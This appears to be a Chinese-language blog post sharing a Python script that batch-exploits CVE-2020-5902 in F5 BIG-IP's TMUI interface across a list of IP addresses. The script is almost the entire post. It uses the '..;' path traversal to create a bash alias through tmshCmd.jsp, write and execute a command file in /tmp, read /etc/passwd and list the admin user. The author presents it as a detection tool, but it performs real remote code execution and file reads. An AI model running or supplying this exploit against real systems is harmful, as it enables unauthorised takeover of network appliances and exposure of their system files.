F5 BIG-IP TMUI远程代码执行在我当前工作环境中做了次测试,发现还是非常常见的。文件读写就基本属于必中的。
F5 BIG-IP TMUI远程代码执行
CVE-2020-5902手工测试的文章网上有很多我就不复制粘贴了,因F5机器较多,为了偷懒写了个批量检测命令执行,文件读取,RCE的检测脚本,留作分享。
# coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys
# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list
banner = r'cve-2020-5902'
def tmshCmd_exit(url, file, cmd):
global command_ip
command_ip[url] = "Command No Exit"
tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(tmshCmd_url, verify=False, allow_redirects=False)
# r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
# print type(response_str)
# print response_str
if r.status_code == 200 and 'tmui' in response_str:
# print tmshCmd_url
print "[+] tmshCmd.jsp Exit!"
print "[+] create cli alias private list command bash \n"
# cmd = 'whoami'
upload_exit(url, file, cmd)
else:
print "[+] tmshCmd.jsp No Exit!\n"
def upload_exit(url, file, cmd):
fileSave_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content=" % file + cmd
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(fileSave_url, verify=False, allow_redirects=False)
# r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
if r.status_code == 200 and 'tmui' in response_str:
# print fileSave_url
print "[+] fileSave.jsp Exit!\n"
list_command(url, file)
else:
print "[+] fileSave.jsp No Exit!\n"
def list_command(url, file):
global command_ip
rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(rce_url, verify=False, allow_redirects=False)
# r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
# print len(r.content)
if r.status_code == 200 and 'tmui' in response_str:
if len(r.content) > 33:
# print rce_url
command_ip[url]="Command Exit"
print "[+] Command Successfull !\n"
command_result = json.loads(r.content)
print "_" * 90, '\n\n'
print command_result['output']
print "_" * 90, "\n\n"
delete_list(url)
else:
print "[+] Command Failed !\n"
command_ip[url] = "Command No Exit"
def delete_list(url):
delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(delete_url, verify=False, allow_redirects=False)
# r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__['_store'])
if r.status_code == 200 and 'tmui' in response_str:
# print delete_url
print "[+] delete cli alias private list Successfull! \n"
else:
print "[+] delete cli alias private list Failed! \n"
def file_read(url):
global dict_ip
delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(delete_url, verify=False, allow_redirects=False)
# r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = r.text
if r.status_code == 200 and 'root' in response_str:
# print delete_url
dict_ip[url]="FILE READ Exist"
print "[+] File READ Successfull! "
print response_str
else:
print "[+] File READ Failed! "
dict_ip[url] = "FILE READ NO Exist"
def RCE_read(url):
delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
proxies = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}
r = requests.get(delete_url, verify=False, allow_redirects=False)
# r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = r.text
global Rce_ip
if r.status_code == 200 and 'output' in response_str:
# print delete_url
Rce_ip[url]="RCE exist"
print "[+] rce Successfull! "
print response_str
else:
print "[+] rce Failed! "
Rce_ip[url] = "RCE No exist"
if __name__ == '__main__':
print banner
ip=["10.200.163.27","10.200.163.28"] #此处加入需要批量检测IP进行扫描
#url = "https://x.x.x.x"
#url = sys.argv[1]
url="https://10.200.158.20"
dict_ip={}
command_ip={}
Rce_ip={}
for i in ip:
try:
url="https://"+i
print(url)
file = str(uuid.uuid1())
print "/tmp/" + file, "\n"
# cmd = raw_input("[+]Set Cmd= ")
cmd = "whoami"
print
tmshCmd_exit(url, file, cmd)
#upload_exit(url, file, cmd)
list_command(url, file)
delete_list(url)
file_read(url)
RCE_read(url)
except:
print url
dict_ip[url]="No connect"
command_ip[url]="No connect"
Rce_ip[url] = "No connect"
for i in command_ip:
print(i,command_ip[i],dict_ip[i],Rce_ip[i])
所以说懒是人类进步的阶梯-。-